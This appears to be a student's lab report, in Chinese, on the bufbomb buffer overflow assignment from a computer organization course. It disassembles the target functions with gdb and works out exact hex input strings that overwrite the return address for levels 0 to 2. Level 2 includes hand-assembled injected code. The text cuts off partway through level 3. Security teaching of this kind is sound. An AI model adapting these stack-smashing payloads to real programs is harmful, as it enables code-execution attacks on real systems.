您好,欢迎访问三七文档
当前位置:首页 > 建筑/环境 > 房地产 > bufbomb实验报告
课程实验报告课程名称:计算机组成与结构实验项目名称:bufbomb-handout专业班级:姓名:学号:指导教师:杨科华完成时间:2016年5月27日信息科学与工程学院实验题目:buflab-handout缓存区溢出实验实验目的:掌握缓冲区溢出的原理;理解汇编语言,通过汇编语言防范缓冲区溢出的漏洞实验环境:ubuntu-15.10、x32系统、VMwareworkstation实验内容及操作步骤:首先,使用objdump工具对bufbomb文件进行反汇编,输入指令objdump-dbufbombbomb.txt,生成bomb.txt文件。bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。Level0:要求:将getbuf函数执行return后执行test函数改为执行smoke函数。Getbuf函数源码:/*Buffersizeforgetbuf*/#defineNORMAL_BUFFER_SIZE32intgetbuf(){charbuf[NORMAL_BUFFER_SIZE];Gets(buf);return1;}Getbuf函数反汇编:(gdb)disassemblegetbufDumpofassemblercodeforfunctiongetbuf:0x08049262+0:push%ebp0x08049263+1:mov%esp,%ebp0x08049265+3:sub$0x38,%esp0x08049268+6:lea-0x28(%ebp),%eax//buf指针地址0x0804926b+9:mov%eax,(%esp)0x0804926e+12:call0x8048c32Gets0x08049273+17:mov$0x1,%eax0x08049278+22:leave0x08049279+23:retEndofassemblerdump.可以看出lea把buf的指针地址-0x28(%ebp)传给了Gets(),因此buf距返回地址有0x28+4=44个字节的距离,因此只需从buf处开始填入44个字节的非0a数(0a为ASCII码的\n,会使getbuf结束),接下来四个字节填写要返回的地址,因为要返回至smoke,所以接下来查看smoke函数的汇编代码:Smoke函数源码:voidsmoke(){printf(Smoke!:Youcalledsmoke()\n);validate(0);exit(0);}Smoke反汇编:(gdb)disassemblesmokeDumpofassemblercodeforfunctionsmoke:0x08048e0a+0:push%ebp0x08048e0b+1:mov%esp,%ebp0x08048e0d+3:sub$0x18,%esp0x08048e10+6:movl$0x804a2fe,0x4(%esp)0x08048e18+14:movl$0x1,(%esp)0x08048e1f+21:call0x8048990__printf_chk@plt0x08048e24+26:movl$0x0,(%esp)0x08048e2b+33:call0x8049280validate0x08048e30+38:movl$0x0,(%esp)0x08048e37+45:call0x80488d0exit@pltEndofassemblerdump.smoke函数开始的地址为0x08048e0a,最后四个字节应该填入0a8e0408,但是0a为\n会让getbuf结束,所以可以从0x08048e0b开始。因此根据栈的结构,输入的48个字节为:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b8e0408执行结果如下:Level1:要求:将getbuf函数执行return后执行test函数改为执行fizz函数。bufbomb可执行文件中有一个函数fizz:与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值fizz函数的首地址为0x08048daf,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值输入到在fizz函数中fizz函数返回地址的上一个4字节处。Fizz函数源码voidfizz(intval){if(val==cookie){printf(Fizz!:Youcalledfizz(0x%x)\n,val);validate(1);}elseprintf(Misfire:Youcalledfizz(0x%x)\n,val);exit(0);}Fizz反汇编:(gdb)disassemblefizzDumpofassemblercodeforfunctionfizz:0x08048daf+0:push%ebp0x08048db0+1:mov%esp,%ebp0x08048db2+3:sub$0x18,%esp0x08048db5+6:mov0x8(%ebp),%eax//val存储地址0x08048db8+9:cmp0x804d104,%eax//cookie地址0x08048dbe+15:jne0x8048de6fizz+550x08048dc0+17:mov%eax,0x8(%esp)0x08048dc4+21:movl$0x804a2e0,0x4(%esp)0x08048dcc+29:movl$0x1,(%esp)0x08048dd3+36:call0x8048990__printf_chk@plt0x08048dd8+41:movl$0x1,(%esp)0x08048ddf+48:call0x8049280validate0x08048de4+53:jmp0x8048dfefizz+790x08048de6+55:mov%eax,0x8(%esp)0x08048dea+59:movl$0x804a4d4,0x4(%esp)0x08048df2+67:movl$0x1,(%esp)0x08048df9+74:call0x8048990__printf_chk@plt0x08048dfe+79:movl$0x0,(%esp)0x08048e05+86:call0x80488d0exit@pltEndofassemblerdump.可知val变量(即存储cookie的变量)存储的地址为fizz函数中的0x8(%ebp),而fizz函数开始的地址为0x08048daf。因此输入的前44个字节为非0a任意值,第45-48个字节存放fizz函数开始的地址,即af8d0408,接下来4个字节也是非0a任意值,最后四个字节为cookie对应的数值,我用的cookie是young,查看young对应的数值为0x3246f559,最后四位为59f54632,因此根据这个栈的结构,level1输入的56个字节为:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000af8d04080000000059f54632执行结果如下:Level2:要求:将getbuf函数执行return后执行test函数改为执行bang函数。Bang函数源码:intglobal_value=0;voidbang(intval){if(global_value==cookie){printf(Bang!:Yousetglobal_valueto0x%x\n,global_value);validate(2);}elseprintf(Misfire:global_value=0x%x\n,global_value);exit(0);}Bang函数反汇编:(gdb)disassemblebangDumpofassemblercodeforfunctionbang:0x08048d52+0:push%ebp0x08048d53+1:mov%esp,%ebp0x08048d55+3:sub$0x18,%esp0x08048d58+6:mov0x804d10c,%eax//global_value地址0x08048d5d+11:cmp0x804d104,%eax//cookie地址0x08048d63+17:jne0x8048d8bbang+570x08048d65+19:mov%eax,0x8(%esp)0x08048d69+23:movl$0x804a4ac,0x4(%esp)0x08048d71+31:movl$0x1,(%esp)0x08048d78+38:call0x8048990__printf_chk@plt0x08048d7d+43:movl$0x2,(%esp)0x08048d84+50:call0x8049280validate0x08048d89+55:jmp0x8048da3bang+810x08048d8b+57:mov%eax,0x8(%esp)0x08048d8f+61:movl$0x804a2c2,0x4(%esp)0x08048d97+69:movl$0x1,(%esp)0x08048d9e+76:call0x8048990__printf_chk@plt0x08048da3+81:movl$0x0,(%esp)0x08048daa+88:call0x80488d0exit@pltEndofassemblerdump.bang函数的首地址为0x08048d52。在bang函数中,会将全局变量global_value和cookie进行比较,从汇编代码中可以看出,global_value的地址为0x804d10c,cookie的地址为0x804d104。给出的c代码中,global_value的默认值为0,因此需要修改global_value的值,使其与cookie一致。写出汇编代码:mov0x804d104,%eaxmov%eax,0x804d10cret将这四行代码保存至a.s文件,使用指令gcc-m32-ca.s进行汇编,使用指令objdump-da.oa.d进行反汇编,查看a.d文件:得到指令序列:a104d10408a30cd10408c3。设置断点查看cookie为young时buf的首地址为:0x55683778根据这个栈的结构将修改global_value值的指令序列放在最前11位,再补上33个字节00,45-48字节存buf的首地址,49-52字节存bang函数的首地址。因此答案为:a104d10408a30cd10408c300000000000000000000000000000000000000000000000000000000000000000078376855528d0408执行结果如下:Level3:要求:getbuf照常返回至test,但是返回值改为cookie的值Test函数源码:voidtest(){intval;/*Putcanaryonstacktodetectpossiblecorruption*/volatileintlocal=uniqueval();val=getbuf();/*Checkforcorruptedstack*/if(local!=uniqueval()){printf
本文标题:bufbomb实验报告
链接地址:https://www.777doc.com/doc-5652152 .html